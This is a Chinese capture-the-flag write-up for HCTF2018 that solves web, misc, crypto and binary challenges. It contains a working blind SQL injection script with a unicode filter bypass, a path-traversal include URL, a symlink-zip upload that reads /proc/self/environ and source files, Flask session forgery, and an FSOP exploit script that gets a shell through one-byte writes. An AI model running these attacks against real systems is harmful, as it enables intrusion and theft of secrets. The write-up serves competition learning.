HCTF2018 WriteUp

招新小广告

ChaMd5 ctf组 长期招新

尤其是reverse+pwn+合约的大佬

欢迎联系admin@chamd5.org

Web

kzone

解题思路

不断fuzz,发现\u0075nion在json_decode后,会变成union,从而达到bypass的目的。 脚本:

# -*- coding: utf-8 -*-
import requests
import base64
import string
url = 'http://kzone.2018.hctf.io/admin/list.php'
fuzz = string.letters + string.digits + '!@&{}#$*'
def check(payload):
  cookie = {
   'PHPSESSID':'gnbvuv2j1emoidqq516504mnv5',
   'islogin':'1',
   'login_data':payload
   }
  try:
   requests.post(url,cookies=cookie,timeout=1.5)
   return 0
  except:
   return 1
result = ''
for i in range(32,50):
 for j in fuzz:
  payload = '{"admin_user":"admin\'/**/and/**/\u0069f(\u0061scii(\u0073ubstr((select/**/F1a9/**/from/**/F1444g),%s,1))\u003d%s,\u0073leep(2),1)/**/and/**/\'1","admin_pass":"123"}'% (str(i),ord(j))  
  #print payload
  if check(payload):
   result += j
   break
 print result

admin

解题思路 注册登录后,在changepassword部分看到源码,下载之。 看到了源码中的strlower部分,百度找到了这篇文章 http://blog.lnyas.xyz/?p=1411 因为题目在注册中调用了一次strlower,所以会解码一次,这样注册的是Admin,与已注册的admin不同,在接下来changepassword时在解码一次,decode成admin,就可以admin密码。所以需要大写类型的unicode Admin 找到了一个ᴬdmin

注册->登录>changepassword->登录->flag

Warmup

源码注释里提示有source.php,绕过文件名检测然后文件包含即可:

http://warmup.2018.hctf.io/index.php?file=hint.php?/../../../../../../../ffffllllaaaagggg

hide and seek

上传包含软连接的 zip 文件达到任意读

function lfr(){
 rm -f _v
 ln -s $1 _v
 zip -0 -y -q -r -o b3.zip cmdline _v zip
 curl -s "http://hideandseek.2018.hctf.io/upload" \
 -H "Connection: close" \
 -F the_file=@b3.zip \
 --output -
 rm b3.zip
}
lfr /path/to/file
lfr /proc/self/environ
lfr /app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
lfr /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py
lfr /sys/class/net/eth0/address
mac2long 12:34:3e:14:7c:62
# 20015589129314
# SECRET_KEY=11.935137566861131
# Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.W-eIfw.0rOhpwBRE__J5-T9HZnPh2yS3ys
curl -s http://hideandseek.2018.hctf.io/ \
-H "Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.W-eIfw.0rOhpwBRE__J5-T9HZnPh2yS3ys" \
--output - | grep hctf

session.py

from flask import Flask, session
import uuid
import random
import os
random.seed(20015589129314)
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
@app.route('/fuck', methods=['GET'])
def fuck():
    session['username'] = 'admin'
    return app.config['SECRET_KEY']

hctf{2495e2ef667b367a0738f5eae9d6afb983c2}

MISC

freq game

script:

from pwn import *
import numpy as np

def get_number(x, freq):
    y = np.sin(2*np.pi*x*freq)*7
    return y

sumdic = {}
sumlist = []
x = np.linspace(0,1,1500)[1]
for x1 in range(256):
    for x2 in range(x1 + 1):
        y1 = get_number(x, x1)
        y2 = get_number(x, x2)
        sumdic[(x1,x2)] = y1 + y2
        sumlist.append(y1 + y2)
print len(sumdic)

def getcomp_(x):
    for key in sumdic:
        if abs(sumdic[key] - x) < 0.00000000000001:
            return key
    return (0, 0)

def getcomp(x):
    for key in sumdic:
        key_ = getcomp_(x - sumdic[key])
        if key_ != (0, 0):
            return (key[0], key[1], key_[0], key_[1])
    return (0, 0, 0, 0)

context.log_level = 'error'
p = remote('150.109.119.46', 6775)
p.recvuntil('hint:')
p.sendline('y')
p.recvuntil('token:')
p.sendline('1PoPsLwOXUExIBXAeUTBbi2gevm0jjpl')
for i in range(8):
    print i
    p.recvuntil('[')
    que = p.recvuntil(']')[:-1]
    que = que.split(', ')
    que = float(que[1])
    print 'getting comp'
    ans = getcomp(que)
    ans = str(ans[0]) + ' ' + str(ans[1]) + ' ' + str(ans[2]) + ' ' + str(ans[3])
    print ans
    p.sendline(ans)
p.interactive()

difficult programming language

script:

# -*- coding: cp936 -*-

#D:\Program Files\Wireshark\tshark.exe -r  difficult_programming_language.pcap  -T fields -e usb.capdata > usbdata.txt

def shiftkey(k):
    if ord(k) >= ord('a') and ord(k) <= ord('z'):
        return k.upper()        
    elif ord(k) >= ord('0') and ord(k) <= ord('9'):
        numt = ')!@#$%^&*('
        return numt[ord(k)-ord('0')]
    else:
        dic = {}
        dic['/'] = '?'
        dic['='] = '+'
        dic['\\'] = '|'
        dic['-'] = '_'
        dic[';'] = ':'
        dic['.'] = '>'
        dic[','] = '<'
        dic['['] = '{'
        dic['`'] = '~'
        return dic[k]

mappings = { 4: 'a', 5: 'b', 6: 'c', 7: 'd', 8: 'e', 9: 'f', 10: 'g', \
             11: 'h', 12: 'i', 13: 'j', 14: 'k', 15: 'l', 16: 'm', 17: 'n', \
             18: 'o', 19: 'p', 20: 'q', 21: 'r', 22: 's', 23: 't', 24: 'u', \
             25: 'v', 26: 'w', 27: 'x', 28: 'y', 29: 'z', 30: '1', 31: '2', \
             32: '3', 33: '4', 34: '5', 35: '6', 36: '7', 37: '8', 38: '9', \
             39: '0', 40: '\n', 41: 'ESCAPE', 42: 'DELETE', 43: 'Tab', 44: \
             'Spacebar', 45: '-', 46: '=', 47: '[', 48: ']', 49: '\\', 50: \
             'Non-US', 51: ';', 52: '\'', 53: '`', 54: ',', 55: '.', 56: '/', 57: 'Caps', 58: 'F1', 59: 'F2', 60: 'F3', 61: 'F4', 62: 'F5', 63: 'F6', 64: 'F7', 65: 'F8', 66: 'F9', 67: 'F10', 68: 'F11', 69: 'F12', 70: 'PrintScreen1', 71: 'Scroll', 72: 'Pause1', 73: 'Insert1', 74: 'Home1', 75: 'PageUp1', 76: 'Delete', 77: 'End1', 78: 'PageDown1', 79: 'RightArrow1', 80: 'LeftArrow1', 81: 'DownArrow1', 82: 'UpArrow1', 100: 'Non-US', 101: 'Application10', 102: 'Power9', 104: 'F13', 105: 'F14', 106: 'F15', 107: 'F16', 108: 'F17', 109: 'F18', 110: 'F19', 111: 'F20', 112: 'F21', 113: 'F22', 114: 'F23', 115: 'F24', 116: 'Execute', 117: 'Help', 118: 'Menu', 119: 'Select', 120: 'Stop', 121: 'Again', 122: 'Undo', 123: 'Cut', 124: 'Copy', 125: 'Paste', 126: 'Find', 127: 'Mute', 128: 'Volume', 129: 'Volume', 130: 'Locking', 131: 'Locking', 132: 'Locking', 135: 'International115,28', 136: 'International216', 137: 'International317', 138: 'International418', 139: 'International519', 140: 'International620', 141: 'International721', 142: 'International822', 143: 'International922', 144: 'LANG125', 145: 'LANG226', 146: 'LANG330', 147: 'LANG431', 148: 'LANG532', 149: 'LANG68', 150: 'LANG78', 151: 'LANG88', 152: 'LANG98', 153: 'Alternate', 154: 'SysReq/Attention1', 155: 'Cancel', 156: 'Clear', 157: 'Prior', 158: 'Return', 159: 'Separator', 160: 'Out', 161: 'Oper', 162: 'Clear/Again', 163: 'CrSel/Props', 164: 'ExSel'}
output = ''
keys = open('usbdata.txt').read()
keys = keys.split('\n')
for key in keys:
    if len(key) >= 8:
        s = key[0:2]
        k = int(key[6:8],16)
        if k in mappings:
            if s == '01':
                output += 'ctr ' + mappings[k] + '\n'
            elif s == '02':
                output += shiftkey(mappings[k]) 
            else:
                output += mappings[k] 
        else:
            if k != 0:
                print k
print('output :\n' + output)

output:

D';M?!\mZ4j8hgSvt2bN);^]+7jiE3Ve0A@Q=|;)sxwYXtsl2pongOe+LKa'e^]\a_X|V[Tx;:VONSRQJn1MFKJCBfFE>&<@9!=<5Y9y7654-,P0/o-,%I)ih&%$#z@xw|{ts9wvXWm3

hctf{m4lb0lGe}

Crypto

xor game

原文是英文诗,因此密钥解出来的明文是一些可见字符,先fuzz出密钥长度:

from Crypto.Util.strxor import strxor
import base64
import random

key="1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM?!_"
key2=" qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890,.'"
def enc(data, key):
    key = (key * (len(data) / len(key) + 1))[:len(data)]
    return strxor(data, key)

def check(s,m,n,offset=0):
    f=1
    for i in range(n/m-1):
        if ord(s[offset+m*i])>=128 or (ord(s[offset+m*i])<32 and ord(s[offset+m*i])!=10 and ord(s[offset+m*i])!=13):
            f=0
            break
    if f==1:
        return True
    else:
        return False
poem = open('cipher.txt', 'r').read()
for i in range(5,40):
    for j in range(32,128):
        flag=chr(j).ljust(i," ")
        s=enc(poem.decode("base64"), flag)
        if check(s,i,len(s)):
            print i,flag
            #break
#21  22 25  28 29 35  

然后同样方法逐位爆破即可(最开始几位容易确定为:"xor_is_",后面位结果太多,可以看已破解的明文,用英文单词推知后面结果):hctf{xor_is_interesting!@#}

xor?rsa

http://skysec.top/2018/09/15/%E6%B5%85%E6%9E%90RSA-Padding-Attack/

参考Coppersmith’s short-pad attack,利用工具:https://github.com/ValarDragon/CTF-Crypto/blob/master/RSA/FranklinReiter.sage

题目做着做着多出来sha256来控制取题速度 本来还想着刷个好分解的溜溜,贴一下Kir老哥的代码:

from hashlib import sha256

for i in range(32,127):
 for j in range(32,127):
  for k in range(32,127):
   for l in range(32,127):
    f=chr(i)+chr(j)+chr(k)+chr(l)
    if sha256(f + "nFpUNkIQrQa3").hexdigest() == "2b40407afa8654ce4d3df4fa92ee99ac4121bdb96e5f22a84199416c1e7d3cbb":
     print f
     break


# Franklin-Reiter attack against RSA.
# If two messages differ only by a known fixed difference between the two messages
# and are RSA encrypted under the same RSA modulus N
# then it is possible to recover both of them.
from sage import *
# Inputs are modulus, known difference, ciphertext 1, ciphertext2.
# Ciphertext 1 corresponds to smaller of the two plaintexts. (The one without the fixed difference added to it)
def franklinReiter(n,e,r,c1,c2):
    R.<X> = Zmod(n)[]
    f1 = X^e - c1
    f2 = (X + r)^e - c2
    # coefficient 0 = -m, which is what we wanted!
    return Integer(n-(compositeModulusGCD(f1,f2)).coefficients()[0])

  # GCD is not implemented for rings over composite modulus in Sage
  # so we do our own implementation. Its the exact same as standard GCD, but with
  # the polynomials monic representation
def compositeModulusGCD(a, b):
    if(b == 0):
        return a.monic()
    else:
        return compositeModulusGCD(b, a % b)

def CoppersmithShortPadAttack(e,n,C1,C2,eps=1/30):
    """
    Coppersmith's Shortpad attack!
    Figured out from: https://en.wikipedia.org/wiki/Coppersmith's_attack#Coppersmith.E2.80.99s_short-pad_attack
    """
    import binascii
    P.<x,y> = PolynomialRing(ZZ)
    ZmodN = Zmod(n)
    g1 = x^e - C1
    g2 = (x+y)^e - C2
    res = g1.resultant(g2)
    P.<y> = PolynomialRing(ZmodN)
    # Convert Multivariate Polynomial Ring to Univariate Polynomial Ring
    rres = 0
    for i in range(len(res.coefficients())):
        rres += res.coefficients()[i]*(y^(res.exponents()[i][1]))

    diff = rres.small_roots(epsilon=eps)
    recoveredM1 = franklinReiter(n,e,diff[0],C1,C2)
    print(recoveredM1)
    print("Message is the following hex, but potentially missing some zeroes in the binary from the right end")
    print(hex(recoveredM1))
    print("Message is one of:")
    for i in range(8):
        msg = hex(Integer(recoveredM1*pow(2,i)))
        if(len(msg)%2 == 1):
            msg = '0' + msg
        if(msg[:2]=='0x'):
            msg = msg[:2]
        print(binascii.unhexlify(msg))

def testCoppersmithShortPadAttack(eps=1/25):
    from Crypto.PublicKey import RSA
    import random
    import math
    import binascii
    M = "flag{This_Msg_Is_2_1337}"
    M = int(binascii.hexlify(M),16)
    e = 3
    nBitSize =  8192
    key = RSA.generate(nBitSize)
    #Give a bit of room, otherwhise the epsilon has to be tiny, and small roots will take forever
    m = int(math.floor(nBitSize/(e*e))) - 400
    assert (m < nBitSize - len(bin(M)[2:]))
    r1 = random.randint(1,pow(2,m))
    r2 = random.randint(r1,pow(2,m))
    M1 = pow(2,m)*M + r1
    M2 = pow(2,m)*M + r2
    C1 = Integer(pow(M1,e,key.n))
    C2 = Integer(pow(M2,e,key.n))
    CoppersmithShortPadAttack(e,key.n,C1,C2,eps)

def testFranklinReiter():
    p = random_prime(2^512)
    q = random_prime(2^512)
    n = p * q # 1024-bit modulus
    e = 11

    m = randint(0, n) # some message we want to recover
    r = randint(0, n) # random padding

    c1 = pow(m + 0, e, n)
    c2 = pow(m + r, e, n)
    print(m)
    recoveredM = franklinReiter(n,e,r,c1,c2)
    print(recoveredM)
    assert recoveredM==m
    print("They are equal!")
    return True

n=19887994051236493076873280465313990197092952871122877723373775584977707140593083012535615551606399118544838777449254183247121295458731358336644968689514695861751450101968280133400100389980783108983943294352861846164471805172325023158549859676313630826991906215452897079828632841395515613555565659156000092427201147035090321215449415071956176987021251716772154049466608694632462093311886904780391498622596762813424042683887037487959610127667938831340770508293534716557323371857271400185504486602467105811568367964275665584072689328308816300985059099591387414849157750391921324805172938088056487887605140902002440519161
c1=19423697461459978841636766775452799095947939987607109859287229254631732272947447604016574851143514430504321829201343609095655654387446680553099689714024344267989965806711348896865780417727889994759456310018798922924532932060886970622010330033916053006055882090824731537390843140007341704549110675121840657405433521569995652024178047836267898314261805225601843357569116209401355567086230968529956496689162349558895682116367156853860111809490159686549012594246982181830015880736961648603389616272876751590004940497298532832908129430694808631887806763402599167248065324804841760675901757492998994604149459854809135039205
c2=8750899802582909426521034721838197565536864731527843241762040183175503839838612960243076025745004090802005297602166415111110576519296055170256275679327372275357032872996138231224846535008006971372072699805641447890249236224292670910257233212722767329053305326750587872308067973535540398314661647218455910637434474589917120824015356867975120966193292778256950379975796887956386870166178104561030961252332829275317242388252044985772841922150664603300793165992962148028827938785256909456405917112373035915873935120439583922219085847163148144967904573071530092144475602768948491236682285164639352787145321648956392024911
e=5
CoppersmithShortPadAttack(e,n,C1,C2,1/60)

之前卡滞在CoppersmithShortPadAttack报错

Kir老哥分析截止误差设置太大了,改成1/60即可。

BIN

the end

解题思路

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  signed int i; // [rsp+4h] [rbp-Ch]
  void *buf; // [rsp+8h] [rbp-8h]

  sleep(0);
  printf("here is a gift %p, good luck ;)\n", &sleep);
  fflush(_bss_start);
  close(1);
  close(2);
  for ( i = 0; i <= 4; ++i )
  {
    read(0, &buf, 8uLL);
    read(0, buf, 1uLL);
  }
  exit(1337);
}

可以看到程序保留了stdin,且有5次任意地址写(1字节)的机会。 思路很简单:利用FSOP,在调用_IO_flush_all_lockp时,劫持vtable中的overflow函数,2.23后不能直接写vtable,可以在一段可写内存中伪造vtable(将overflow的位置写为one_gadget),再将IO_FILE_plus中的vtable指针指向构造后的vtable,在exit的时候,便会最终调用one_gadget来get shell:

from pwn import *

context.log_level='debug'
p=remote("150.109.44.250",20002)
p.sendlineafter("token:","1PoPsLwOXUExIBXAeUTBbi2gevm0jjpl")
p.recvuntil("gift ")
libc_addr=int(p.recv(14),16)-0xcc230
p.recvuntil("\n")
vtable_ptr_addr=libc_addr+0x3c56f8
fake_vtable=libc_addr+0x3c51e0
one_gadget=libc_addr+0xf02a4
stderr_addr=libc_addr+0x3c5540
print "libc:{}".format(hex(libc_addr))
print "fake_vtable:{}".format(hex(fake_vtable))
print "one_gadget:{}".format(hex(one_gadget))

#fake vtable
for i in range(3):
  p.send(p64(fake_vtable+0x18+i))
  p.send(p64(one_gadget)[i])

#fp->_IO_write_ptr > fp->_IO_write_base
p.send(p64(stderr_addr+0x28))
p.send("\x01")

#_IO_FILE_plus.vtable->fake vtable
p.send(p64(stderr_addr+216+1))
p.send(p64(fake_vtable)[1])
#gdb.attach(p)
p.interactive()

因为没有输出,get shell后:

ls >&0 cat flag >&0

LuckStar

AntiDebug

自解

自解的主流程

Encodekey

Step1 Base64(alpha表大小写被替换了) Step2 Xor with Table

Dump Table[] = 0x08, 0x81, 0x39, 0x8D, 0x40, 0x09, 0x42, 0x14, 0xD0, 0xF2, 0x98, 0x66, 0x33, 0xD6, 0xC9, 0xB2, 0xC1, 0x95, 0xB6, 0x1E, 0xC7, 0x2D, 0x1C, 0xEF, 0xD2, 0xB2, 0x5F, 0x66, 0x8C, 0xB9, 0xF1, 0x38

encodekeyExcepted[] = 0x49, 0xE6, 0x57, 0xBD, 0x3A, 0x47, 0x11, 0x4C, 0x95, 0xBC, 0xEE, 0x32, 0x72, 0xA0, 0xF0, 0xDE, 0xAC, 0xF2, 0x83, 0x56, 0x83, 0x49, 0x6E, 0xA9, 0xA6, 0xC5, 0x67, 0x3C, 0xCA, 0xC8, 0xCC, 0x05

Table[] ^ encodekeyExcpeted[] = ‘Agn0zNSXENvTAv9lmg5HDdrFtw8ZFq==’ => b64.decode(‘aGN0ZnsxenVtaV9lMG5hdDRfTW8zfQ==’)

PolishDuck

本来题都有问题 出来的是这个

这题2月份的某个比赛见过类似的 arduino模拟键盘操作 手边有ard板down一下程序就完事了 不是很喜欢这个题型 dump RAM

关键函数

关键流程

模拟键盘打印串

a.bin

a.py

script result

原文发布于微信公众号 - ChaMd5安全团队(chamd5sec)

原文发表时间:2018-11-12

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏calvin

【nodejs】让nodejs像后端mvc框架(asp.net mvc)一orm篇【如EF般丝滑】typeorm介绍(8/8)

在使用nodejs开发过程中,刚好碰到需要做一个小工具,需要用到数据库存储功能。而我又比较懒,一个小功能不想搞一个nodejs项目,又搞一个后端项目。不如直接在...

3172
来自专栏Android开发与分享

【Android】Realm详解

61511
来自专栏cloudskyme

OTL技术应用

什么是OTL:OTL 是 Oracle, Odbc and DB2-CLI TemplateLibrary 的缩写,是一个操控关系数据库的C++模板库,它目前几...

5976
来自专栏MasiMaro 的技术博文

hook键盘驱动中的分发函数实现键盘输入数据的拦截

我自己在看《寒江独钓》这本书的时候,书中除了给出了利用过滤的方式来拦截键盘数据之外,也提到了另外一种方法,就是hook键盘分发函数,将它替换成我们自己的,然后再...

932
来自专栏好好学java的技术栈

java实现手机短信验证全过程

手机短信验证现在在各种系统可以说都是用的非常普遍的,这个可能是方便和安全性的考虑,所以才广泛的使用,这篇文章就以一个短信接口的实例,来讲解一下怎么使用短信接口。

4615
来自专栏好好学java的技术栈

java实现手机短信验证全过程

4033
来自专栏草根专栏

使用xUnit为.net core程序进行单元测试(3)

请使用这个项目作为练习的开始: https://pan.baidu.com/s/1ggcGkGb 测试的分组 打开Game.Tests里面的BossEnemyS...

4285
来自专栏令仔很忙

SpringMVC上传、解析Excel

即上述方法中readExcel.getExcelInfo(name ,file);语句所调用的方法以及其他相关的方法 Apache POI提供API给Ja...

1061
来自专栏岑玉海

Kettle 添加对应hadoop版本的支持

  在hdp的官网上有一个ETL工具叫做Talend Open Studio,然后我就下了,并且在群里询问了一下,突然间冒出来一群ETL高手,经高人指点认识了一...

4837
来自专栏函数式编程语言及工具

Akka(43): Http:SSE-Server Sent Event - 服务端主推消息

   因为我了解Akka-http的主要目的不是为了有关Web-Server的编程,而是想实现一套系统集成的api,所以也需要考虑由服务端主动向客户端发送指令的...

2559

扫码关注云+社区